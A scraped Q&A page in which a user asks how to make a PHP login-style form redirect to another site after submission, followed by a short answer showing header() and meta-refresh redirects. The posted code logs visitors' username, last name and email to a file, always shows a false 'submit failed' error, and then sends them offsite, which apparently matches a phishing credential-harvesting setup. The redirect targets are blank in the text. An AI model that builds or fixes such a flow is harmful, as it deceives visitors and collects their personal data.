Lalita Tana Lalita Tana - 1 year ago 109
HTML Question

how to redirect user to other website after filling php form

I had a fight with some coder, and he ruins my code, basically, the customers has to fill some php form in

if(isset($_SESSION['wrong'])) {
echo "<p class='error'>submit failed, please retype your information.</p>";
<form name="formLogin" method="post" action="doneA.php">

<div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
<div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">Last name:</span></div>
<div class="tclpad"><input name="input2" class="std" size="65" value="" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">email</span></div>
<div class="tclpad"><input name="input3" class="std" size="10" value="" type="text" required></div>

<div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;"><span class="std">captcha</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

<div class="tclpad" style="width:90px;">&nbsp;</div>
<div class="tclpad"><input class="bstd" value="submit" type="submit"></div>

<div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>


now after they finish to submit the form, they need no be redirect to other website,, the other php script who does it is:


$name = $_POST['input1'];

$lastname = $_POST['input2'];

$email = $_POST['input3'];

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1\n";
fwrite($fh,"firstname: " . $name . "\n" . " Lastname: " . $lastname . "\n" . " email: " . $email . "\n----------------------------\n");

header("Location: index.php");

$_SESSION['wrong'] = '1';

now in the current situation, when they finish to complete the php form, they get error message "submit failed, please retype your information." and they redirect to and not to

what did the programmer do? and how can i fix it?

Answer Source

The redirection can be done by doing changing this

header("Location: index.php");

to this


OR, you can use meta refresh in place of header.

echo "<meta http-equiv='refresh' content='NUMSECONDS;' />";

Where you can change NUMSECONDS to any amount of seconds you want to wait before redirecting, or you can just make it 0 seconds.

Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download